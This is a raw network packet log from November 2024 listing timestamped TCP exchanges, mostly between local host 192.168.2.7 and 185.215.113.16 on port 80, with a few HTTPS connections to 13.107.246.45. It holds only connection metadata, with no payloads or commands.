Nov 21, 2024 00:03:22.927352905 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.927968979 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.928078890 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.928122044 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.928792953 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.928939104 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.928981066 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.929661989 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.929837942 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.929884911 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.930598974 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.930644035 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.930691004 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.931174040 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.931370020 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.931413889 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.932002068 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.932130098 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.932173014 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.932786942 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.932862997 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.932918072 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.933553934 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.933697939 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.933742046 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.934403896 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.934545994 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.934587002 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.935153008 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.935270071 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.935317039 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.936014891 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.936162949 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.936202049 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.936773062 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.936793089 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.936831951 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.937592983 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.937902927 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.937941074 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.939256907 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.939296961 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.939316988 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.939332008 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.939333916 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.939402103 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.939971924 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.940054893 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.940150023 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.940735102 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.940855026 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.940896034 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.941504002 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.941684008 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.941728115 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.942286968 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.942399979 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.942440987 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.943094015 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.943237066 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.943279982 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.943908930 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.944158077 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.944196939 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.944694996 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.944868088 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.944906950 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.945578098 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.945590019 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.945641041 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.946276903 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.946418047 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.946460009 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.947077990 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.947174072 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.947218895 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.947874069 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.948051929 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.948095083 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.948688030 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.948859930 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.948899984 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.949501038 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.949709892 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.949748039 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.950267076 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.950411081 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.950453043 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.951288939 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.951400042 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.951442957 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.951842070 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.951960087 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.952002048 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.952642918 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.952821016 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.952862978 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.953521967 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.953538895 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.953604937 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.954303026 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.954384089 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.954423904 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.955018997 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.955169916 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.955210924 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.955867052 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.955976963 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.956041098 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.956630945 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.956741095 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.956783056 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.957398891 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.957529068 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.957570076 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.958214998 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.958357096 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.958396912 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.959022999 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.959117889 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.959157944 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.959861994 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.959944963 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.959988117 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.960654020 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.960664988 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.960736990 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.961436033 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.961575985 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.961621046 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.962260008 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.962272882 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.962344885 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.962999105 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.968689919 CET	443	49763	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.968884945 CET	443	49763	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.968947887 CET	49763	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:22.972747087 CET	49763	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:22.972768068 CET	443	49763	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.972781897 CET	49763	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:22.972788095 CET	443	49763	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.978236914 CET	49768	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:22.978295088 CET	443	49768	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.978373051 CET	49768	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:22.978826046 CET	49768	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:22.978844881 CET	443	49768	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.988914013 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.113188028 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.113269091 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.113363028 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.113559961 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.113694906 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.113751888 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.114409924 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.114506960 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.114551067 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.115195990 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.115250111 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.115292072 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.115978956 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.116095066 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.116137981 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.116775036 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.116882086 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.116930962 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.117588043 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.117710114 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.117760897 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.118371964 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.118441105 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.118495941 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.119159937 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.119278908 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.119333029 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.119957924 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.120013952 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.120055914 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.120748997 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.120861053 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.120907068 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.121541023 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.121646881 CET	443	49764	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:23.121660948 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.121714115 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.122338057 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.122451067 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.122495890 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.123132944 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.123301029 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.123353958 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.123929024 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.124030113 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.124074936 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.124732971 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.124840975 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.124886990 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.125523090 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.125627995 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.125669956 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.126302958 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.126426935 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.126468897 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.127109051 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.127218962 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.127260923 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.127902031 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.128016949 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.128057957 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.128701925 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.128818989 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.128859997 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.129520893 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.129584074 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.129626989 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.130189896 CET	49764	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:23.130239010 CET	443	49764	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:23.130278111 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.130327940 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.130376101 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.131086111 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.131159067 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.131201982 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.131906986 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.131977081 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.132014036 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.132698059 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.132752895 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.132795095 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.133466005 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.133584976 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.133625984 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.134320021 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.134428978 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.134480000 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.134566069 CET	49764	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:23.134588957 CET	443	49764	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:23.135065079 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.135138988 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.135183096 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.135869026 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.136017084 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.136063099 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.136626959 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.136758089 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.136804104 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.137439966 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.137568951 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.137622118 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.138246059 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.138358116 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.138405085 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.139024019 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.139075994 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.139133930 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.139854908 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.140010118 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.140053034 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.140623093 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.140757084 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.140796900 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.141412020 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.141566992 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.141607046 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.142250061 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.142357111 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.142395973 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.142999887 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.143130064 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.143173933 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.143842936 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.143959999 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.144016981 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.144587040 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.144920111 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.144963980 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.145387888 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.145608902 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.145651102 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.146219015 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.146321058 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.146358967 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.146980047 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.147006035 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.147047043 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.147777081 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.147901058 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.147949934 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.148607016 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.148746967 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.148813963 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.149380922 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.149467945 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.149507046 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.150218010 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.150327921 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.150556087 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.150954008 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.151067972 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.151118040 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.151784897 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.151901007 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.151940107 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.152554035 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.152667046 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.152720928 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.153345108 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.153450012 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.153498888 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.154150009 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.154205084 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.154242992 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.154902935 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.197202921 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.245912075 CET	443	49765	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:23.246680021 CET	49765	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:23.246740103 CET	443	49765	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:23.247390985 CET	49765	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:23.247406006 CET	443	49765	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:23.305574894 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.305691004 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.305747986 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.305989981 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.306082964 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.306127071 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.306848049 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.306891918 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.306936026 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.307459116 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.307555914 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.307600021 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.308310032 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.308407068 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.308449030 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.309056044 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.309125900 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.309169054 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.309827089 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.309989929 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:23.310033083 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:23.310630083 CET	80	49760	185.215.113.16	192.168.2.7
